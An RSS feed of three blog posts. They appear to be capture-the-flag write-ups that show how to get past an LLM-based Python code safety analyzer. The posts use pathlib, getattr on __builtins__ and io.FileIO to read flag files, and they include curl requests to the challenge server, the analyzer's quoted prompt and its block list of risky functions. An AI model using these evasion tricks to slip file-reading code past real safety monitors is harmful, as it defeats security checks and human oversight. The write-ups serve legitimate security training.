<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kalemaarafat on Medium]]></title>
        <description><![CDATA[Stories by Kalemaarafat on Medium]]></description>
        <link>https://medium.com/@kalemaarafat8?source=rss-568d5387a889------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*WY9ilX1J0JtiqXkQ</url>
            <title>Stories by Kalemaarafat on Medium</title>
            <link>https://medium.com/@kalemaarafat8?source=rss-568d5387a889------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 16:23:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kalemaarafat8/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[UCC Cyber Stars 2025- Sandwich_level2]]></title>
            <link>https://medium.com/@kalemaarafat8/ucc-cyber-stars-2025-sandwich-level2-97a5298fba1b?source=rss-568d5387a889------2</link>
            <guid isPermaLink="false">https://medium.com/p/97a5298fba1b</guid>
            <dc:creator><![CDATA[Kalemaarafat]]></dc:creator>
            <pubDate>Wed, 29 Oct 2025 08:14:52 GMT</pubDate>
            <atom:updated>2025-10-29T08:14:52.229Z</atom:updated>
            <content:encoded><![CDATA[<p>So for Sandwitch Level 2, I had forgot to tell you that we have to enable show prompt, this tells us possibly the fucntions we cannot execute ona given level:<br>forexample this Level 2:</p><p>We input:<br>open(‘/tmp/flag0.txt’).read()</p><p>we get:<br>{<br> “analysis”: “🚫 Analysis: Detected potentially malicious pattern ‘\\bopen\\s*\\(‘.”,<br> “executed”: false,<br> “is_safe”: false,<br> “message”: “🚫 Code deemed UNSAFE by analyzer. Execution blocked.”,<br> “prompt_hint”: “Same as level 1. <strong>Additionally treat use of getattr/setattr, __builtins__, __dict__, globals(), locals(), eval/exec, compile, importlib, or unusual attribute access as automatically unsafe. </strong>Obfuscated or encoded strings that appear to decrypt further code are also considered unsafe.\n”<br>}</p><p>So this is another hint on the functions we have to use….</p><p>So following the same procedures i went deep to find other fucntions rather than the blocked ones:</p><p>I found two functions one for opening and the other for reading:<br><strong>io.FileIO()</strong> instead of <strong>open() </strong>and r<strong>eadall()</strong> instead of <strong>read()</strong></p><p>I then found another functions:<strong> str()</strong>, for converting bytes to strings, and slicing [2:-1] to remove the b’ prefix and ‘ suffix</p><p><strong><em>Crafting my payload to look like this:</em></strong></p><p><strong>import io<br>f=io.FileIO(“/tmp/flag2.txt”)<br>print(str(f.readall())[2:-1])</strong></p><p>Getting the output as:</p><p><strong>{<br> “analysis”: “✅ Analysis: Code passed security checks.”,<br> “executed”: true,<br> “is_safe”: true,<br> “output”: “FLAG{LEVEL2_HARDCORE_FLAG}\n”,<br> “prompt_hint”: “Same as level 1. Additionally treat use of getattr/setattr, __builtins__, __dict__, globals(), locals(), eval/exec, compile, importlib, or unusual attribute access as automatically unsafe. Obfuscated or encoded strings that appear to decrypt further code are also considered unsafe.\n”,<br> “success”: true<br>}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zHVLxM8Wfz7tkB5yLwycRg.png" /></figure><p><strong><em>Remember: Dont forget to change the level from 1 to 2, to be in position to read the flag….</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97a5298fba1b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UCC Cyber Stars 2025 — Sandwich Level 1]]></title>
            <link>https://medium.com/@kalemaarafat8/ucc-cyber-stars-2025-sandwich-level-1-0b21c18af813?source=rss-568d5387a889------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b21c18af813</guid>
            <dc:creator><![CDATA[Kalemaarafat]]></dc:creator>
            <pubDate>Wed, 29 Oct 2025 07:40:00 GMT</pubDate>
            <atom:updated>2025-10-29T07:40:00.674Z</atom:updated>
            <content:encoded><![CDATA[<h3>UCC Cyber Stars 2025 — Sandwich Level 1</h3><p>After the patch auditors couldn’t find a loophole but pentesters found and you’re one,craft a python code that will get the flag located at /tmp/flag1.txt</p><p><a href="http://20.29.50.151:5001/">http://20.29.50.151:5001/</a></p><h4>Understanding the Challenge</h4><p><strong>Vulnerability Type: Advanced prompt injection</strong></p><p>Level 1 introduces a more intelligent security filter. The LLM analyzer has been updated to:</p><ul><li>Detect common file operation patterns (including pathlib)</li><li>Recognize indirect file access methods</li><li>Identify obfuscation attempts</li></ul><p>Lets try the initial code:</p><p>from pathlib import Path print(Path(“/tmp/flag1.txt”).read_text())</p><p>we get :</p><pre>{<br>  &quot;analysis&quot;: &quot;🚫 Analysis: Detected potentially malicious pattern &#39;pathlib&#39;.&quot;,<br>  &quot;executed&quot;: false,<br>  &quot;is_safe&quot;: false,<br>  &quot;message&quot;: &quot;🚫 Code deemed UNSAFE by analyzer. Execution blocked.&quot;<br>}</pre><p><strong><em>Dont forget we have to switch from 0 — Beginner to 1 — Intermediate for flag1.txt :)</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KmcCMSNYUDjZ-cYgCMUAfQ.png" /></figure><p><strong>Why it was blocked:</strong></p><ul><li>The upgraded LLM now recognizes pathlib as a file access library</li><li>Pattern matching has been extended to cover alternative file reading methods</li><li>The security filter learned from the Level 0 bypass</li></ul><p><strong>Finding the Bypass</strong></p><p>The key to Level 1 is understanding that the LLM analyzes code syntactically but may not fully understand semantic obfuscation. We need to hide our true intent while maintaining valid Python code.</p><p><strong>Solution Approach</strong></p><p>Instead of directly calling file operations, we can use Python’s built-in functions in creative ways:</p><p>so we use the <strong>getattr()</strong> to dynamically access the open and read functions.</p><p>So the input has to be:<br><strong>f=getattr(__builtins__,”open”)(“/tmp/flag1.txt”)<br>print(getattr(f,”read”)())</strong></p><p>And the expected output has to be a flag: <strong><em>Remeber to change the Level from 0 to 1</em></strong></p><pre>{<br>  &quot;analysis&quot;: &quot;✅ Analysis: Code passed security checks.&quot;,<br>  &quot;executed&quot;: true,<br>  &quot;is_safe&quot;: true,<br>  &quot;output&quot;: &quot;FLAG{LEVEL1_TRICKY_FLAG}\n&quot;,<br>  &quot;success&quot;: true<br>}</pre><p><strong>Or Similary we can use curl by simply pasting the command in the terminal:</strong></p><p><strong>curl -s -X POST </strong><a href="http://20.29.50.151:5001/analyze"><strong>http://20.29.50.151:5001/analyze</strong></a><strong> \<br> -H “Content-Type: application/json” \<br> -d ‘{<br> “code”: “f=getattr(__builtins__,\”open\”)(\”/tmp/flag1.txt\”)\nprint(getattr(f,\”read\”)())”,<br> “level”: 1,<br> “show_prompt”: false<br> }’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2S8MYGNWp6yaGwGS1JldTQ.png" /></figure><p><em>And thats it for Sandwitch Level1……</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b21c18af813" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UCC Cyber Stars 2025- Sandwich_level0]]></title>
            <link>https://medium.com/@kalemaarafat8/ucc-cyber-stars-2025-sandwich-level0-d4b7eaf8ea8d?source=rss-568d5387a889------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4b7eaf8ea8d</guid>
            <dc:creator><![CDATA[Kalemaarafat]]></dc:creator>
            <pubDate>Wed, 29 Oct 2025 07:10:16 GMT</pubDate>
            <atom:updated>2025-10-29T07:10:16.121Z</atom:updated>
            <content:encoded><![CDATA[<p>The National secuirity has created a safe sandbox that analyzes codes before being passed to the production environment.Due in increase demant and intigrity ,they have integrated Artificial Intelligence and Machine Learning for dynamic detection of threats.</p><p>Level 0<br>When auditors were invited to test it security capability, they found a loophole,craft a python code that will get the flag located at /tmp/flag0.txt</p><p><strong>Solution</strong></p><p><strong>Vulnerability Type: Prompt Injection / Jailbreak</strong></p><p>This is a code execution bypass through an LLM-based security filter. The challenge likely had an LLM analyzing Python code for security risks before execution</p><p><strong>What is LLM:</strong></p><p>Large Language Model</p><p><strong>LLMs are AI models trained on massive amounts of text data</strong> to understand and generate human-like text. Think of them as very sophisticated pattern-matching systems forexample ChatGPT, Gimini, etc.</p><p>So we were given a sample code to try:</p><p><strong>open(‘/tmp/flag0.txt’).read(), </strong>but according to the security filter this appears to be malicious, as per the output,</p><pre>{<br>  &quot;analysis&quot;: &quot;🚫 Analysis: Detected potentially malicious pattern &#39;\\bopen\\s*\\(&#39;.&quot;,<br>  &quot;executed&quot;: false,<br>  &quot;is_safe&quot;: false,<br>  &quot;message&quot;: &quot;🚫 Code deemed UNSAFE by analyzer. Execution blocked.&quot;,<br>  &quot;prompt_hint&quot;: &quot;You are an AI that analyses Python code. Decide whether the given Python code, when executed, does any of the following:\n - accesses, reads, or writes any files or directories;\n - performs any system calls;\n - uses exec or eval to dynamically execute code.\nRespond by summarising what the code does and finally answer with either \&quot;YES\&quot; (if any of above are present) or \&quot;NO\&quot; (if none are present). Only the final token must be YES or NO.\n&quot;<br>}</pre><p><strong>Why it was blocked:</strong></p><p>open() is a well-known file operation</p><p>The LLM has been trained to recognize open() + .read() as potential file access attacks</p><p>This pattern appears frequently in security training data</p><p><strong>Finding the Bypass</strong></p><p>Instead of using the obvious open() function, we can use Python’s pathlib library:</p><p><strong>from pathlib import Path<br>print(Path(“/tmp/flag0.txt”).read_text())</strong></p><p>Why this works:</p><p>Less Common API: pathlib is a newer Python feature (Python 3.4+). The LLM may not have seen as many malicious examples using it.</p><p>So we just paste the code as input and the Flag will be Displayed:<br><strong>{<br> “analysis”: “✅ Analysis: Code passed security checks.”,<br> “executed”: true,<br> “is_safe”: true,<br> “output”: “FLAG{LEVEL0_SIMPLE_FLAG}\n”,<br> “prompt_hint”: “You are an AI that analyses Python code. Decide whether the given Python code, when executed, does any of the following:\n — accesses, reads, or writes any files or directories;\n — performs any system calls;\n — uses exec or eval to dynamically execute code.\nRespond by summarising what the code does and finally answer with either \”YES\” (if any of above are present) or \”NO\” (if none are present). Only the final token must be YES or NO.\n”,<br> “success”: true<br>}</strong></p><p>Or similarly we can use the curl to craft a payload</p><p><strong>curl -s -X POST </strong><a href="http://20.29.50.151:5001/analyze"><strong>http://20.29.50.151:5001/analyze</strong></a><strong> \<br> -H “Content-Type: application/json” \<br> -d ‘{<br> “code”: “from pathlib import Path\nprint(Path(\”/tmp/flag0.txt\”).read_text())”,<br> “level”: 0,<br> “show_prompt”: false<br> }’</strong></p><p>And the output will be:<br><strong>{<br> “analysis”: “\u2705 Analysis: Code passed security checks.”,<br> “executed”: true,<br> “is_safe”: true,<br> “output”: “FLAG{LEVEL0_SIMPLE_FLAG}\n”,<br> “success”: true<br>}</strong></p><p>And Thats it……</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4b7eaf8ea8d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>